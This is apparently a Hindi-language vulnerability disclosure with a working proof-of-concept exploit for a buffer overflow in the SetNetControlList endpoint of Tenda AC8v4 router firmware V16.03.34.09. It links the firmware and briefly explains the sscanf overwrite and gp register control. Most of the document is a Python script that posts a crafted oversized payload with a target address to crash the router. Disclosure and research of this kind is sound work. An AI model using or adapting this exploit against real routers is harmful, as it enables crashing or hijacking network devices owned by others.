
Tenda AC8v4 राउटर फर्मवेयर (V16.03.34.09) में SetNetControlList एंडपॉइंट के माध्यम से बफर ओवरफ्लो भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो gp रजिस्टर पर नियंत्रण प्रदर्शित करता है।
फ़र्मवेयर डाउनलोड वेबसाइट:
https://www.tenda.com.cn/download/detail-3683.html
https://down.tenda.com.cn/uploadfile/AC8/V16.03.34.09.zip
https://static.tenda.com.cn/tdcweb/download/uploadfile/AC8/V16.03.34.09.zip
AC8/V16.03.34.09
Tenda AC8v4 .V16.03.34.09. sscanf के कारण, s8 का अंतिम अंक \x0 से अधिलेखित हो जाता है। set_client_qos निष्पादित करने के बाद, gp रजिस्टर पर नियंत्रण प्राप्त होता है



इसे Segmentation fault (core dumped) बनाने के लिए एक poc
import requests
url = 'http://192.168.0.1/goform/SetNetControlList'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36',
'Accept': '*/*',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close',
'Content-Length': '3003'
}
payload=b"list="
pad=0x407ff818-0x407ff7c0
from pwn import *
target=0x40302010
target=p32(target)
payload+=b"a"*(pad)+target+b"c"*(0x110-pad)
# list len >=0x100
try:
requests.post(url, headers=headers, data=payload,timeout=3)
except requests.exceptions.ReadTimeout:
print("test ok")

sscanf से पहले

बाद में, और ret करेगा


